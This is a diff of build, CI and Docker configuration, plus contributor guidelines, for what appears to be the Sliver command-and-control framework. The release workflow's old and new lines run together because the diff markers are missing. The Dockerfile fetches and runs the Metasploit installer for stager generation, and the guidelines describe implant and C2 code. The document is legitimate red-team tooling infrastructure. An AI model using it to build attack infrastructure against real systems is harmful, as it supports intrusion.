with:
|
||||
name: linux
|
||||
path: ./sliver-*
|
||||
|
||||
- name: Make Windows
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _windows
|
||||
run: |
|
||||
make clean
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: windows
|
||||
path: ./sliver-*
|
||||
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make AMD64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos
|
||||
run: make macos
|
||||
|
||||
- name: Make ARM64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos-arm64
|
||||
run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: macos
|
||||
path: ./sliver-*
|
||||
|
||||
tagged-release:
|
||||
needs: [linux-windows-build, macos-build]
|
||||
|
||||
name: "Tagged Release"
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
release:
|
||||
name: Release
|
||||
needs: tag-check
|
||||
if: needs.tag-check.outputs.tag != ''
|
||||
runs-on: ubuntu-latest
|
||||
environment: release
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v3
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
path: ./builds
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Extract Artifacts
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/linux/* ./artifacts
|
||||
cp ./builds/windows/* ./artifacts
|
||||
cp ./builds/macos/* ./artifacts
|
||||
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
run: |
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
|
||||
# Linux
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
|
||||
|
||||
# Windows
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
|
||||
|
||||
# MacOS AMD64
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
|
||||
|
||||
# MacOS ARM64
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: true
|
||||
files: |
|
||||
./artifacts/*
|
||||
go-version: "^1.25"
|
||||
|
||||
- name: Install Minisign
|
||||
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
|
||||
|
||||
- name: Build Clients
|
||||
run: |
|
||||
make clients
|
||||
mkdir -p artifacts
|
||||
mv sliver-client_* artifacts/
|
||||
|
||||
- name: Build Servers
|
||||
run: |
|
||||
make servers
|
||||
mv sliver-server_* artifacts/
|
||||
|
||||
- name: Sign Artifacts
|
||||
env:
|
||||
MINISIGN_KEY: ${{ secrets.MINISIGN_SLIVER_RELEASE_KEY }}
|
||||
run: |
|
||||
echo "$MINISIGN_KEY" | base64 -d > minisign.key
|
||||
echo "minisign.key bytes: $(wc -c < minisign.key | tr -d ' ')"
|
||||
echo "minisign.key sha256: $(sha256sum minisign.key | awk '{print $1}')"
|
||||
chmod 600 minisign.key
|
||||
for file in artifacts/sliver-*; do
|
||||
[ -f "$file" ] || continue
|
||||
minisign -S -s minisign.key -m "$file" -x "$file.minisig" -W
|
||||
done
|
||||
rm -f minisign.key
|
||||
|
||||
- name: Create Release
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
tag="${{ needs.tag-check.outputs.tag }}"
|
||||
if gh release view "$tag" >/dev/null 2>&1; then
|
||||
echo "Release $tag already exists."
|
||||
exit 0
|
||||
fi
|
||||
gh release create "$tag" --generate-notes
|
||||
|
||||
- name: Upload Artifacts
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: gh release upload "${{ needs.tag-check.outputs.tag }}" artifacts/* --clobber
|
||||
@@ -16,13 +16,13 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
go-version: "^1.25"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
# Must fetch at least the immediate parents so that if this is
|
||||
# a pull request then we can checkout the head of the pull request.
|
||||
@@ -33,27 +33,21 @@ jobs:
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
# Initializes the CodeQL tools for scanning.
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v2
|
||||
uses: github/codeql-action/init@v4
|
||||
with:
|
||||
config-file: ./.github/codeql/codeql-config.yml
|
||||
languages: go
|
||||
|
||||
# Build the server ... is this necessary though?
|
||||
- run: |
|
||||
make
|
||||
- name: Make
|
||||
run: make
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@v2
|
||||
uses: github/codeql-action/analyze@v4
|
||||
env:
|
||||
VERSION: ${{github.sha}}
|
||||
@@ -0,0 +1,102 @@
|
||||
# Sample workflow for building and deploying a Next.js site to GitHub Pages
|
||||
#
|
||||
# To get started with Next.js see: https://nextjs.org/docs/getting-started
|
||||
#
|
||||
name: Sliver Docs
|
||||
|
||||
on:
|
||||
# Runs on pushes targeting the default branch
|
||||
push:
|
||||
branches: ["master"]
|
||||
|
||||
# Allows you to run this workflow manually from the Actions tab
|
||||
workflow_dispatch:
|
||||
|
||||
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
|
||||
permissions:
|
||||
contents: read
|
||||
pages: write
|
||||
id-token: write
|
||||
|
||||
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
|
||||
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
|
||||
concurrency:
|
||||
group: "pages"
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
defaults:
|
||||
run:
|
||||
working-directory: ${{ github.workspace }}/docs/sliver-docs
|
||||
env:
|
||||
working-directory: ${{ github.workspace }}/docs/sliver-docs
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Detect package manager
|
||||
id: detect-package-manager
|
||||
run: |
|
||||
if [ -f "${{ github.workspace }}/docs/sliver-docs/yarn.lock" ]; then
|
||||
echo "manager=yarn" >> $GITHUB_OUTPUT
|
||||
echo "command=install" >> $GITHUB_OUTPUT
|
||||
echo "runner=yarn" >> $GITHUB_OUTPUT
|
||||
exit 0
|
||||
elif [ -f "${{ github.workspace }}/docs/sliver-docs/package.json" ]; then
|
||||
echo "manager=npm" >> $GITHUB_OUTPUT
|
||||
echo "command=ci" >> $GITHUB_OUTPUT
|
||||
echo "runner=npx --no-install" >> $GITHUB_OUTPUT
|
||||
exit 0
|
||||
else
|
||||
echo "Unable to determine package manager"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v6
|
||||
with:
|
||||
cache: "npm"
|
||||
cache-dependency-path: "**/package-lock.json"
|
||||
node-version: "lts/*"
|
||||
|
||||
- name: Setup Pages
|
||||
uses: actions/configure-pages@v5
|
||||
|
||||
- name: Restore cache
|
||||
uses: actions/cache@v5
|
||||
with:
|
||||
path: |
|
||||
.next/cache
|
||||
# Generate a new cache whenever packages or source files change.
|
||||
key: ${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-${{ hashFiles('**.[jt]s', '**.[jt]sx') }}
|
||||
# If source files changed but packages didn't, rebuild from a prior cache.
|
||||
restore-keys: |
|
||||
${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-
|
||||
|
||||
- name: Install dependencies
|
||||
working-directory: ${{ env.working-directory}}
|
||||
run: ${{ steps.detect-package-manager.outputs.manager }} ${{ steps.detect-package-manager.outputs.command }}
|
||||
|
||||
- name: Build with Next.js
|
||||
working-directory: ${{ env.working-directory}}
|
||||
run: ${{ steps.detect-package-manager.outputs.runner }} next build
|
||||
|
||||
- name: Upload artifact
|
||||
uses: actions/upload-pages-artifact@v4
|
||||
with:
|
||||
path: ${{ github.workspace }}/docs/sliver-docs/out
|
||||
|
||||
# Deployment job
|
||||
deploy:
|
||||
environment:
|
||||
name: github-pages
|
||||
url: ${{ steps.deployment.outputs.page_url }}
|
||||
runs-on: ubuntu-latest
|
||||
needs: build
|
||||
steps:
|
||||
- name: Deploy to GitHub Pages
|
||||
id: deployment
|
||||
uses: actions/deploy-pages@v4
|
||||
@@ -1,76 +0,0 @@
|
||||
name: Build & Test
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
run: make linux
|
||||
|
||||
- name: Test
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make Windows
|
||||
run: make windows
|
||||
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
run: make macos
|
||||
|
||||
- name: Test
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
@@ -0,0 +1,97 @@
|
||||
name: Build & Test
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
paths:
|
||||
- "go.mod"
|
||||
- "go.sum"
|
||||
- "Makefile"
|
||||
- "**/*.go"
|
||||
- "**/*.c"
|
||||
- "**/*.h"
|
||||
- "**/*.sh"
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
linux-windows-build-test:
|
||||
name: Linux & Windows Test
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 180
|
||||
steps:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Make Windows (amd64)
|
||||
run: make windows-amd64
|
||||
|
||||
- name: Make Linux (arm64)
|
||||
run: make linux-arm64
|
||||
|
||||
- name: Make Linux (amd64)
|
||||
run: make linux-amd64
|
||||
|
||||
- name: Test Linux
|
||||
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
|
||||
macos-build-test:
|
||||
name: MacOS Test
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 180
|
||||
steps:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Make MacOS (amd64)
|
||||
run: make macos-amd64
|
||||
|
||||
- name: Make MacOS (arm64)
|
||||
run: make macos-arm64
|
||||
|
||||
- name: Test MacOS
|
||||
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
clients-build:
|
||||
name: Clients Build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Make
|
||||
run: make clients
|
||||
+10
@@ -2,6 +2,11 @@
|
||||
/.devcontainer
|
||||
/.idea
|
||||
|
||||
/artifacts
|
||||
/artifacts/**
|
||||
|
||||
*.rc
|
||||
|
||||
/Dockerfile.*
|
||||
/*.sdk.tar.xz
|
||||
|
||||
@@ -14,10 +19,12 @@
|
||||
/sliver-server
|
||||
/sliver-server_arm64
|
||||
/sliver.exe
|
||||
/sliver-server_*
|
||||
|
||||
/sliver-client
|
||||
/sliver-client_arm64
|
||||
/sliver-client.exe
|
||||
/sliver-client_*
|
||||
|
||||
sliver-server-linux.zip
|
||||
sliver-server-macos.zip
|
||||
@@ -32,6 +39,7 @@ sliver-server-windows.zip
|
||||
|
||||
# Test binary, build with `go test -c`
|
||||
/*.test
|
||||
/test.py
|
||||
|
||||
# Output of the go coverage tool, specifically when used with LiteIDE
|
||||
/*.out
|
||||
@@ -42,6 +50,8 @@ sliver-server-windows.zip
|
||||
.DS_Store
|
||||
|
||||
dist/
|
||||
.gocache/
|
||||
.gomodcache/
|
||||
|
||||
# Flag to show that go-assets.sh has been run
|
||||
.downloaded_assets
|
||||
@@ -0,0 +1,41 @@
|
||||
# Repository Guidelines
|
||||
|
||||
## Project Structure & Module Organization
|
||||
- `client/` holds the CLI client and interactive commands.
|
||||
- `server/` contains the server runtime, C2 logic, configs, and web assets.
|
||||
- `implant/` is the implant runtime and transport implementations.
|
||||
- `protobuf/` stores protobuf definitions and generated Go types.
|
||||
- `util/` is shared helpers (crypto, encoders, minisign, etc.).
|
||||
- `docs/sliver-docs/` is the Next.js documentation site and prebuild scripts.
|
||||
- `vendor/` is the vendored Go dependency tree used by builds.
|
||||
- Build outputs land in the repo root as `sliver-client*` and `sliver-server*`.
|
||||
|
||||
## Build, Test, and Development Commands
|
||||
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
|
||||
- `make client` builds a CGO-free client; `make debug` keeps symbols.
|
||||
- `make pb` regenerates protobuf stubs from `protobuf/`.
|
||||
- `./go-tests.sh` runs the curated Go test suite with build tags.
|
||||
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
|
||||
- Go toolchain: the Makefile enforces Go >= 1.24.
|
||||
|
||||
## Coding Style & Naming Conventions
|
||||
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
|
||||
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
|
||||
- Do not import `server` packages from `client`.
|
||||
- If `math/rand` is required, import it as `insecureRand` and avoid security use.
|
||||
|
||||
## Testing Guidelines
|
||||
- Go tests follow standard `_test.go` naming within each package.
|
||||
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
|
||||
- Add or update tests when behavior changes; some server packages run longer tests.
|
||||
|
||||
## Commit & Pull Request Guidelines
|
||||
- Commits must be signed for PRs to `master`; work in a feature branch.
|
||||
- Commit subjects are short and imperative (e.g., "Fix ...", "Add ...", "Update ...", "Bump ...").
|
||||
- Changes to `vendor/` should be in a distinct commit.
|
||||
- PRs should link the tracking issue, note tests run, and confirm `gofmt` plus unit tests as applicable.
|
||||
|
||||
## Security Notes
|
||||
- Default to secure configuration; fail closed rather than open.
|
||||
- Avoid insecure algorithms (MD5/SHA1/AES-ECB); prefer AES-GCM and modern curves.
|
||||
- Treat user input as untrusted: canonicalize paths and use restrictive file permissions.
|
||||
+106
-55
@@ -1,73 +1,124 @@
|
||||
FROM golang:1.20.1
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
# Sliver using this container configuration! However, if you do want
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
# For production:
|
||||
# docker build --target production -t sliver .
|
||||
# docker run -it --rm -v $HOME/.sliver:/home/sliver/.sliver sliver
|
||||
#
|
||||
# For unit testing:
|
||||
# docker build --target test .
|
||||
# docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 21.12
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
# STAGE: base
|
||||
## Compiles Sliver for use
|
||||
FROM golang:latest AS base
|
||||
|
||||
# Base packages
|
||||
### Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip
|
||||
|
||||
#
|
||||
# > User
|
||||
#
|
||||
### Add sliver user
|
||||
RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
|
||||
RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
|
||||
#
|
||||
# > Metasploit
|
||||
#
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
#
|
||||
# > Sliver
|
||||
#
|
||||
|
||||
# Protoc
|
||||
WORKDIR /tmp
|
||||
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& cp -vv ./bin/protoc /usr/local/bin
|
||||
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
|
||||
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
|
||||
|
||||
# Go assets
|
||||
### Build sliver:
|
||||
RUN mkdir -p /go/src/github.com/bishopfox/sliver
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN make clean-all \
|
||||
&& ./go-assets.sh
|
||||
RUN make
|
||||
RUN cp -vv sliver-server /opt/sliver-server
|
||||
|
||||
RUN make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
# STAGE: test
|
||||
## Run unit tests against the compiled instance
|
||||
## Use `--target test` in the docker build command to run this stage
|
||||
FROM base AS test
|
||||
|
||||
# Run unit tests
|
||||
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
ARG GO_TESTS_FLAGS=""
|
||||
ENV GO_TESTS_FLAGS="${GO_TESTS_FLAGS}"
|
||||
|
||||
# Clean up
|
||||
RUN make clean \
|
||||
&& rm -rf /go/src/* \
|
||||
&& rm -rf /home/sliver/.sliver
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
&& apt-get -y install \
|
||||
curl
|
||||
|
||||
RUN /opt/sliver-server unpack --force
|
||||
|
||||
### Run unit tests
|
||||
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh ${GO_TESTS_FLAGS}
|
||||
|
||||
# STAGE: production
|
||||
## Final dockerized form of Sliver
|
||||
FROM debian:bookworm-slim AS production
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
&& apt-get -y install \
|
||||
libxml2 libxml2-dev libxslt-dev locate gnupg \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
curl libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
nasm
|
||||
|
||||
### Install MSF for stager generation
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall \
|
||||
&& mkdir -p ~/.msf4/ \
|
||||
&& touch ~/.msf4/initial_setup_complete
|
||||
|
||||
### Cleanup unneeded packages
|
||||
RUN apt-get remove -y curl gnupg \
|
||||
&& apt-get autoremove -y \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
|
||||
|
||||
### Add sliver user
|
||||
RUN groupadd -g 999 sliver \
|
||||
&& useradd -r -u 999 -g sliver sliver \
|
||||
&& mkdir -p /home/sliver/ \
|
||||
&& chown -R sliver:sliver /home/sliver \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
### Copy compiled binary
|
||||
COPY --from=base /opt/sliver-server /opt/sliver-server
|
||||
|
||||
### Unpack Sliver:
|
||||
USER sliver
|
||||
RUN /opt/sliver-server unpack --force
|
||||
|
||||
WORKDIR /home/sliver/
|
||||
VOLUME [ "/home/sliver/.sliver" ]
|
||||
ENTRYPOINT [ "/opt/sliver-server" ]
|
||||
|
||||
|
||||
# STAGE: production-slim (about 1Gb smaller)
|
||||
FROM debian:bookworm-slim AS production-slim
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade
|
||||
|
||||
### Cleanup unneeded packages
|
||||
RUN apt-get autoremove -y \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
|
||||
|
||||
### Add sliver user
|
||||
RUN groupadd -g 999 sliver \
|
||||
&& useradd -r -u 999 -g sliver sliver \
|
||||
&& mkdir -p /home/sliver/ \
|
||||
&& chown -R sliver:sliver /home/sliver
|
||||
|
||||
### Copy compiled binary
|
||||
COPY --from=base /opt/sliver-server /opt/sliver-server
|
||||
|
||||
### Unpack Sliver:
|
||||
USER sliver
|
||||
RUN /opt/sliver-server unpack --force
|
||||
|
||||
WORKDIR /home/sliver/
|
||||
VOLUME [ "/home/sliver/.sliver" ]
|
||||
ENTRYPOINT [ "/opt/sliver-server" ]
|
||||
@@ -5,56 +5,40 @@
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
TAGS ?= -tags go_sqlite
|
||||
CGO_ENABLED = 0
|
||||
|
||||
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
|
||||
CGO_ENABLED = 1
|
||||
endif
|
||||
|
||||
#
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = uname sed git zip date cut $(GO)
|
||||
EXECUTABLES = uname sed git date cut $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
#
|
||||
# Version Information
|
||||
# Build Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 18
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 24
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
|
||||
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
